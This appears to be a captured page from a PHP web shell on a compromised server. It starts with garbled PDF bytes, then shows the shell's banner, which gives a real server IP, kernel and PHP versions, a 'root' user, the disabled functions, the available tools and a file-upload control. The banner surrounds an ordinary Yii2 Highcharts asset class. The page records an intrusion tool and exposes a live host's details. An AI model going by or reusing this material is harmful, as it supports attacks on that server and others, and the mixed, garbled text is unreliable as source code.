%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/vendor/miloschuman/yii2-highcharts-widget/src/ |
Upload File : |
<?php /** * HighchartsAsset class file. * * @author Milo Schuman <miloschuman@gmail.com> * @link https://github.com/miloschuman/yii2-highcharts/ * @license http://www.opensource.org/licenses/mit-license.php MIT License */ namespace miloschuman\highcharts; use yii\web\AssetBundle; /** * Asset bundle for Highcharts, Highstock, and Highmaps widgets. */ class HighchartsAsset extends AssetBundle { public $sourcePath = '@bower/highcharts'; public $depends = ['yii\web\JqueryAsset']; /** * Registers additional JavaScript files required by the widget. * * @param array $scripts list of additional JavaScript files to register. * @return $this */ public function withScripts($scripts = ['highcharts']) { // use unminified files when in debug mode $ext = YII_DEBUG ? 'src.js' : 'js'; // add files foreach ($scripts as $script) { // theme files are not packaged with a .src.js version $this->js[] = "$script." . ((strpos($script, 'themes/') === 0) ? 'js' : $ext); } // make sure that either highcharts or highstock base file is included. array_unshift($this->js, "highcharts.$ext"); $hasHighstock = in_array("highstock.$ext", $this->js); if ($hasHighstock) { array_unshift($this->js, "highstock.$ext"); // remove highcharts if highstock is used on page $this->js = array_diff($this->js, ["highcharts.$ext"]); } return $this; } }